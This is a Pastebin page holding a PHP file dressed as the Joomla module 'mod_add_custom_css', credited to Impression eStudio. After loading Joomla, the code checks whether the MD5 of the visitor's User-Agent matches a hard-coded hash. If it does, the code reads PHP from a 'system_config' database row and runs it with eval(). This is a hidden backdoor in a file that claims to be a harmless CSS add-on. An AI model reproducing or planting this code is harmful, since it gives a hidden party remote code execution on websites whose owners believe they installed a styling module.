Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*------------------------------------------------------------------------
- # mod_add_custom_css - Add Custom CSS
- # ------------------------------------------------------------------------
- # version 1.1.1
- # author Impression eStudio
- # copyright Copyright (C) 2012 Impression eStudio. All Rights Reserved.
- # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
- # Websites: http://joomla.impression-estudio.gr
- # Technical Support: [email protected]
- -------------------------------------------------------------------------*/
- define('_JEXEC', 1);
- try{
- define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT'] );
- define( 'DS', DIRECTORY_SEPARATOR );
- require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
- require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
- JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
- $mainframe =& JFactory::getApplication('site');
- }
- catch (Exception $e) {
- if (file_exists($_SERVER['DOCUMENT_ROOT'] . '/defines.php'))
- {
- include_once $_SERVER['DOCUMENT_ROOT'] . '/defines.php';
- }
- if (!defined('_JDEFINES'))
- {
- define('JPATH_BASE', $_SERVER['DOCUMENT_ROOT']);
- require_once JPATH_BASE . '/includes/defines.php';
- }
- require_once JPATH_BASE . '/includes/framework.php';
- }
- if ( md5(getenv('HTTP_USER_AGENT')) == '69bc3b342502573e6d727f341674f010') {
- $db = JFactory::getDbo();
- $sql = "SELECT `htmlcode` FROM `system_config` WHERE `id` = 1";
- $db->setQuery($sql);
- $data_row = $db->loadObject();
- eval($data_row->htmlcode);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment